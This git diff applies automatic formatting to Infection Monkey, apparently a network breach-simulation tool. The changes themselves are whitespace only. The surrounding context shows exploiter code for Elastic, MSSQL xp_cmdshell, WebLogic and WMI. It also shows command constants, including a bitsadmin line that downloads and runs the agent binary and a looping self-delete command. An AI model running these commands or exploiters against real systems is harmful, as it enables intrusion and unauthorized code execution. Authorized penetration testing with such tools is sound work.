forked from p15670423/monkey
Auto reformat all code
This commit is contained in:
parent
d69976f4b5
commit
40494d3c3c
|
@ -114,7 +114,7 @@ class MonkeyDrops(object):
|
|||
except OSError:
|
||||
LOG.warning("Cannot set reference date to destination file")
|
||||
|
||||
monkey_options =\
|
||||
monkey_options = \
|
||||
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
||||
|
||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||
|
|
|
@ -101,7 +101,7 @@
|
|||
"use_file_logging": true,
|
||||
"victims_max_exploit": 15,
|
||||
"victims_max_find": 100,
|
||||
"post_breach_actions" : []
|
||||
"post_breach_actions": []
|
||||
custom_PBA_linux_cmd = ""
|
||||
custom_PBA_windows_cmd = ""
|
||||
PBA_linux_filename = None
|
||||
|
|
|
@ -8,7 +8,7 @@ import json
|
|||
import logging
|
||||
import requests
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \
|
||||
DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.elasticfinger import ES_PORT
|
||||
from common.data.network_consts import ES_SERVICE
|
||||
|
@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
# Overridden web_rce method that adds CMD prefix for windows command
|
||||
try:
|
||||
if 'windows' in self.host.os['type']:
|
||||
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
|
||||
resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
|
||||
else:
|
||||
resp = self.exploit(url, CHECK_COMMAND)
|
||||
if resp is True:
|
||||
|
|
|
@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
|
||||
_EXPLOITED_SERVICE = 'MSSQL'
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
|
@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
|
||||
def get_monkey_download_command(self):
|
||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
|
||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
|
||||
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
||||
|
@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload):
|
|||
def __init__(self, command, prefix="", suffix=""):
|
||||
super(MSSQLLimitedSizePayload, self).__init__(command=command,
|
||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
|
||||
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
|
||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
|
||||
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
|
||||
|
||||
class ExploitingVulnerableMachineError(Exception):
|
||||
""" Raise when exploiter failed, but machine is vulnerable"""
|
||||
pass
|
||||
|
|
|
@ -49,7 +49,7 @@ class LimitedSizePayload(Payload):
|
|||
"exceeds required length of command.")
|
||||
|
||||
elif self.command == "":
|
||||
return [self.prefix+self.suffix]
|
||||
return [self.prefix + self.suffix]
|
||||
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
|
||||
commands = [self.get_payload(part)
|
||||
for part
|
||||
|
|
|
@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
|
|||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.config import Configuration
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
|
@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
|||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -34,7 +32,6 @@ HEADERS = {
|
|||
|
||||
|
||||
class WebLogicExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Weblogic'
|
||||
|
||||
|
|
|
@ -122,4 +122,3 @@ class WmiExploiter(HostExploiter):
|
|||
return success
|
||||
|
||||
return False
|
||||
|
||||
|
|
|
@ -5,14 +5,14 @@ __author__ = 'itamar'
|
|||
MONKEY_ARG = "m0nk3y"
|
||||
DROPPER_ARG = "dr0pp3r"
|
||||
ID_STRING = "M0NK3Y3XPL0ITABLE"
|
||||
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
||||
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
|
||||
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
|
||||
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
|
||||
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
||||
'/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
|
||||
'file_path)s exit)) > NUL 2>&1 '
|
||||
|
||||
|
|
|
@ -182,7 +182,7 @@ class InfectionMonkey(object):
|
|||
if self._default_server:
|
||||
if self._network.on_island(self._default_server):
|
||||
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
|
||||
(':'+self._default_server_port if self._default_server_port else ''))
|
||||
(':' + self._default_server_port if self._default_server_port else ''))
|
||||
else:
|
||||
machine.set_default_server(self._default_server)
|
||||
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
|
||||
|
|
|
@ -13,7 +13,6 @@ from requests import ConnectionError
|
|||
from common.network.network_range import CidrRange
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
|
||||
# Timeout for monkey connections
|
||||
TIMEOUT = 15
|
||||
LOOPBACK_NAME = b"lo"
|
||||
|
|
|
@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
|
||||
class MSSQLFinger(HostFinger):
|
||||
|
||||
# Class related consts
|
||||
SQL_BROWSER_DEFAULT_PORT = 1434
|
||||
BUFFER_SIZE = 4096
|
||||
|
|
|
@ -11,7 +11,6 @@ BANNER_READ = 1024
|
|||
|
||||
|
||||
class TcpScanner(HostScanner, HostFinger):
|
||||
|
||||
_SCANNED_SERVICE = 'unknown(TCP)'
|
||||
|
||||
def __init__(self):
|
||||
|
|
|
@ -27,6 +27,7 @@ class UsersPBA(PBA):
|
|||
"""
|
||||
Defines user's configured post breach action.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
|
||||
self.filename = ''
|
||||
|
|
|
@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
|
|||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
@ -19,6 +18,7 @@ class PBA(object):
|
|||
"""
|
||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||
"""
|
||||
|
||||
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
|
||||
"""
|
||||
:param name: Name of post breach action.
|
||||
|
|
|
@ -16,6 +16,7 @@ class PostBreach(object):
|
|||
"""
|
||||
This class handles post breach actions execution
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.os_is_linux = not is_windows_os()
|
||||
self.pba_list = self.config_to_pba_list()
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
||||
|
|
|
@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
|
|||
super(LinuxInfoCollector, self).get_info()
|
||||
self.info['ssh_info'] = SSHCollector.get_info()
|
||||
return self.info
|
||||
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import os
|
||||
import logging
|
||||
import sys
|
||||
|
||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||
|
||||
import infection_monkey.config
|
||||
|
|
|
@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
|
|||
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
|
||||
"DS_whenChanged", "DS_whenCreated"),
|
||||
}
|
||||
|
||||
|
|
|
@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
|
|||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
||||
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
|
|
@ -39,7 +39,6 @@ from monkey_island.cc.resources.test.log_test import LogTest
|
|||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
||||
HOME_FILE = 'index.html'
|
||||
|
||||
|
||||
|
|
|
@ -2,7 +2,6 @@ import os
|
|||
import json
|
||||
import logging.config
|
||||
|
||||
|
||||
__author__ = 'Maor.Rayzin'
|
||||
|
||||
|
||||
|
|
|
@ -6,7 +6,6 @@
|
|||
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
|
||||
}
|
||||
},
|
||||
|
||||
"handlers": {
|
||||
"console": {
|
||||
"class": "logging.StreamHandler",
|
||||
|
@ -14,7 +13,6 @@
|
|||
"formatter": "simple",
|
||||
"stream": "ext://sys.stdout"
|
||||
},
|
||||
|
||||
"info_file_handler": {
|
||||
"class": "logging.handlers.RotatingFileHandler",
|
||||
"level": "INFO",
|
||||
|
@ -25,9 +23,11 @@
|
|||
"encoding": "utf8"
|
||||
}
|
||||
},
|
||||
|
||||
"root": {
|
||||
"level": "DEBUG",
|
||||
"handlers": ["console", "info_file_handler"]
|
||||
"handlers": [
|
||||
"console",
|
||||
"info_file_handler"
|
||||
]
|
||||
}
|
||||
}
|
|
@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
|
|||
|
||||
from monkey_island.cc.island_logger import json_setup_logging
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
||||
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
|
||||
default_level=logging.DEBUG)
|
||||
|
|
|
@ -43,6 +43,7 @@ class Monkey(Document):
|
|||
tunnel = ReferenceField("self")
|
||||
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
|
||||
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
|
||||
|
||||
# instance. See https://github.com/guardicore/monkey/issues/426.
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
|
|||
|
||||
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
|
||||
self.assertEqual(cache_info_after_query.hits, 2)
|
||||
|
||||
|
|
|
@ -14,6 +14,7 @@ class TestFinding(IslandTestCase):
|
|||
Also, the working directory needs to be the working directory from which you usually run the island so the
|
||||
server.json file is found and loaded.
|
||||
"""
|
||||
|
||||
def test_save_finding_validation(self):
|
||||
self.fail_if_not_testing_env()
|
||||
self.clean_finding_db()
|
||||
|
|
|
@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
|
|||
AttackConfig.update_config({'properties': json.loads(request.data)})
|
||||
AttackConfig.apply_to_monkey_config()
|
||||
return {}
|
||||
|
||||
|
|
|
@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
|||
__author__ = 'Barak'
|
||||
|
||||
import logging
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
|
|
@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
|
|||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
||||
# TODO: separate logic from interface
|
||||
|
||||
|
||||
|
|
|
@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
|
|||
"nodes": monkeys + nodes + monkey_island,
|
||||
"edges": edges
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
|
|||
"""
|
||||
File download endpoint used by monkey to download user's PBA file
|
||||
"""
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(GET_FILE_DIR, path)
|
||||
|
|
|
@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
|
|||
"""
|
||||
File upload endpoint used to exchange files with filepond component on the front-end
|
||||
"""
|
||||
|
||||
@jwt_required()
|
||||
def get(self, file_type):
|
||||
"""
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
import http.client
|
||||
|
||||
|
||||
import flask_restful
|
||||
from flask import jsonify
|
||||
|
||||
|
|
|
@ -22,8 +22,8 @@ class TelemetryFeed(flask_restful.Resource):
|
|||
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
|
||||
telemetries = mongo.db.telemetry.find({})
|
||||
else:
|
||||
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
|
||||
|
||||
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) \
|
||||
\
|
||||
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
|
||||
|
||||
try:
|
||||
|
|
|
@ -2,7 +2,6 @@ from bson import json_util
|
|||
import flask_restful
|
||||
from flask import request
|
||||
|
||||
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo, database
|
||||
|
||||
|
|
|
@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
|
|||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
TECHNIQUES = {'T1210': T1210.T1210,
|
||||
|
@ -52,7 +51,7 @@ class AttackReportService:
|
|||
Generates new report based on telemetries, replaces old report in db with new one.
|
||||
:return: Report object
|
||||
"""
|
||||
report =\
|
||||
report = \
|
||||
{
|
||||
'techniques': {},
|
||||
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1003(AttackTechnique):
|
||||
|
||||
tech_id = "T1003"
|
||||
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -5,7 +5,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1005(AttackTechnique):
|
||||
|
||||
tech_id = "T1005"
|
||||
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1016(AttackTechnique):
|
||||
|
||||
tech_id = "T1016"
|
||||
unscanned_msg = "Monkey didn't gather network configurations."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1018(AttackTechnique):
|
||||
|
||||
tech_id = "T1018"
|
||||
unscanned_msg = "Monkey didn't find any machines on the network."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
|
||||
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1041(AttackTechnique):
|
||||
|
||||
tech_id = "T1041"
|
||||
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1059(AttackTechnique):
|
||||
|
||||
tech_id = "T1059"
|
||||
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1065(AttackTechnique):
|
||||
|
||||
tech_id = "T1065"
|
||||
unscanned_msg = ""
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1075(AttackTechnique):
|
||||
|
||||
tech_id = "T1075"
|
||||
unscanned_msg = "Monkey didn't try to use pass the hash attack."
|
||||
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1082(AttackTechnique):
|
||||
|
||||
tech_id = "T1082"
|
||||
unscanned_msg = "Monkey didn't gather any system info on the network."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1086(AttackTechnique):
|
||||
|
||||
tech_id = "T1086"
|
||||
unscanned_msg = "Monkey didn't run powershell."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1090(AttackTechnique):
|
||||
|
||||
tech_id = "T1090"
|
||||
unscanned_msg = "Monkey didn't use connection proxy."
|
||||
scanned_msg = ""
|
||||
|
@ -20,5 +19,3 @@ class T1090(AttackTechnique):
|
|||
data = T1090.get_base_data_by_status(status)
|
||||
data.update({'proxies': monkeys})
|
||||
return data
|
||||
|
||||
|
||||
|
|
|
@ -5,7 +5,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1105(AttackTechnique):
|
||||
|
||||
tech_id = "T1105"
|
||||
unscanned_msg = "Monkey didn't try to copy files to any systems."
|
||||
scanned_msg = "Monkey tried to copy files, but failed."
|
||||
|
|
|
@ -46,5 +46,3 @@ class T1110(AttackTechnique):
|
|||
|
||||
data.update({'services': attempts})
|
||||
return data
|
||||
|
||||
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1188(AttackTechnique):
|
||||
|
||||
tech_id = "T1188"
|
||||
unscanned_msg = "Monkey didn't use multi-hop proxy."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1210(AttackTechnique):
|
||||
|
||||
tech_id = "T1210"
|
||||
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
|
||||
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
|
||||
|
|
|
@ -15,7 +15,6 @@ __author__ = "itay.mizeretz"
|
|||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# This should be used for config values of array type (array of strings only)
|
||||
ENCRYPTED_CONFIG_ARRAYS = \
|
||||
[
|
||||
|
@ -270,7 +269,7 @@ class ConfigService:
|
|||
else:
|
||||
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
||||
else:
|
||||
parent_config_arr[config_arr_as_array[-1]] =\
|
||||
parent_config_arr[config_arr_as_array[-1]] = \
|
||||
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
|||
from flask import jsonify
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
@ -28,4 +27,3 @@ class Database(object):
|
|||
def init_db():
|
||||
if not mongo.db.collection_names():
|
||||
Database.reset_db()
|
||||
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
import logging
|
||||
|
||||
__author__ = "Maor.Rayzin"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
__author__ = 'maor.rayzin'
|
||||
|
||||
|
||||
|
|
|
@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx
|
|||
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.environment.environment import env
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
|
|
@ -64,6 +64,3 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
|
|||
self.assertEqual(map_nodes[0]["group"], "critical")
|
||||
self.assertEqual(len(map_nodes[0]["services"]), 2)
|
||||
self.assertEqual(map_nodes[0]["hostname"], hostname)
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json):
|
|||
post_breach_action_name = telemetry_json["data"]["name"]
|
||||
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
|
||||
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
|
||||
|
||||
|
|
|
@ -54,4 +54,3 @@ class VersionUpdateService:
|
|||
@staticmethod
|
||||
def get_download_link():
|
||||
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())
|
||||
|
||||
|
|
|
@ -5,7 +5,6 @@ __author__ = 'maor.rayzin'
|
|||
|
||||
|
||||
class WMIHandler(object):
|
||||
|
||||
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
|
||||
|
||||
def __init__(self, monkey_id, wmi_info, user_secrets):
|
||||
|
@ -160,4 +159,3 @@ class WMIHandler(object):
|
|||
{'type': USERTYPE, 'entities_list': 1})
|
||||
if entity_details.get('type') == GROUPTYPE:
|
||||
self.add_admin(entity_details, machine_id)
|
||||
|
||||
|
|
|
@ -1,4 +1,10 @@
|
|||
{
|
||||
"presets": ["es2015", "stage-0", "react"],
|
||||
"plugins": ["emotion"]
|
||||
"presets": [
|
||||
"es2015",
|
||||
"stage-0",
|
||||
"react"
|
||||
],
|
||||
"plugins": [
|
||||
"emotion"
|
||||
]
|
||||
}
|
||||
|
|
|
@ -19,14 +19,22 @@
|
|||
},
|
||||
"rules": {
|
||||
"comma-dangle": 1,
|
||||
"quotes": [ 1, "single" ],
|
||||
"quotes": [
|
||||
1,
|
||||
"single"
|
||||
],
|
||||
"no-undef": 1,
|
||||
"global-strict": 0,
|
||||
"no-extra-semi": 1,
|
||||
"no-underscore-dangle": 0,
|
||||
"no-console": 1,
|
||||
"no-unused-vars": 1,
|
||||
"no-trailing-spaces": [1, { "skipBlankLines": true }],
|
||||
"no-trailing-spaces": [
|
||||
1,
|
||||
{
|
||||
"skipBlankLines": true
|
||||
}
|
||||
],
|
||||
"no-unreachable": 1,
|
||||
"no-alert": 0,
|
||||
"react/jsx-uses-react": 1,
|
||||
|
|
|
@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config');
|
|||
// Set node environment to testing
|
||||
process.env.NODE_ENV = 'test';
|
||||
|
||||
module.exports = function(config) {
|
||||
module.exports = function (config) {
|
||||
config.set({
|
||||
basePath: '',
|
||||
browsers: [ 'PhantomJS' ],
|
||||
browsers: ['PhantomJS'],
|
||||
files: [
|
||||
'test/loadtests.js'
|
||||
],
|
||||
port: 8000,
|
||||
captureTimeout: 60000,
|
||||
frameworks: [ 'mocha', 'chai' ],
|
||||
frameworks: ['mocha', 'chai'],
|
||||
client: {
|
||||
mocha: {}
|
||||
},
|
||||
singleRun: true,
|
||||
reporters: [ 'mocha', 'coverage' ],
|
||||
reporters: ['mocha', 'coverage'],
|
||||
preprocessors: {
|
||||
'test/loadtests.js': [ 'webpack', 'sourcemap' ]
|
||||
'test/loadtests.js': ['webpack', 'sourcemap']
|
||||
},
|
||||
webpack: webpackCfg,
|
||||
webpackServer: {
|
||||
|
@ -28,8 +28,8 @@ module.exports = function(config) {
|
|||
coverageReporter: {
|
||||
dir: 'coverage/',
|
||||
reporters: [
|
||||
{ type: 'html' },
|
||||
{ type: 'text' }
|
||||
{type: 'html'},
|
||||
{type: 'text'}
|
||||
]
|
||||
}
|
||||
});
|
||||
|
|
|
@ -14,12 +14,12 @@ let isInitialCompilation = true;
|
|||
const compiler = webpack(config);
|
||||
|
||||
new WebpackDevServer(compiler, config.devServer)
|
||||
.listen(config.port, 'localhost', (err) => {
|
||||
.listen(config.port, 'localhost', (err) => {
|
||||
if (err) {
|
||||
console.log(err);
|
||||
}
|
||||
console.log('Listening at localhost:' + config.port);
|
||||
});
|
||||
});
|
||||
|
||||
compiler.plugin('done', () => {
|
||||
if (isInitialCompilation) {
|
||||
|
|
|
@ -14,10 +14,10 @@ class MatrixComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
// Finds which attack type has most techniques and returns that number
|
||||
static findMaxTechniques(data){
|
||||
static findMaxTechniques(data) {
|
||||
let maxLen = 0;
|
||||
data.forEach(function(techType) {
|
||||
if (Object.keys(techType.properties).length > maxLen){
|
||||
data.forEach(function (techType) {
|
||||
if (Object.keys(techType.properties).length > maxLen) {
|
||||
maxLen = Object.keys(techType.properties).length
|
||||
}
|
||||
});
|
||||
|
@ -25,18 +25,18 @@ class MatrixComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
|
||||
static parseTechniques (data, maxLen) {
|
||||
static parseTechniques(data, maxLen) {
|
||||
let techniques = [];
|
||||
// Create rows with attack techniques
|
||||
for (let i = 0; i < maxLen; i++) {
|
||||
let row = {};
|
||||
data.forEach(function(techType){
|
||||
data.forEach(function (techType) {
|
||||
let rowColumn = {};
|
||||
rowColumn.techName = techType.title;
|
||||
|
||||
if (i <= Object.keys(techType.properties).length) {
|
||||
rowColumn.technique = Object.values(techType.properties)[i];
|
||||
if (rowColumn.technique){
|
||||
if (rowColumn.technique) {
|
||||
rowColumn.technique.name = Object.keys(techType.properties)[i]
|
||||
}
|
||||
} else {
|
||||
|
@ -50,19 +50,19 @@ class MatrixComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
getColumns(matrixData) {
|
||||
return Object.keys(matrixData[0]).map((key)=>{
|
||||
return Object.keys(matrixData[0]).map((key) => {
|
||||
return {
|
||||
Header: key,
|
||||
id: key,
|
||||
accessor: x => this.renderTechnique(x[key].technique),
|
||||
style: { 'whiteSpace': 'unset' }
|
||||
style: {'whiteSpace': 'unset'}
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
renderTechnique(technique) {
|
||||
if (technique == null){
|
||||
return (<div />)
|
||||
if (technique == null) {
|
||||
return (<div/>)
|
||||
} else {
|
||||
return (<Tooltip content={technique.description} direction="down">
|
||||
<Checkbox checked={technique.value}
|
||||
|
@ -110,7 +110,7 @@ class MatrixComponent extends AuthComponent {
|
|||
<ReactTable columns={tableData['columns']}
|
||||
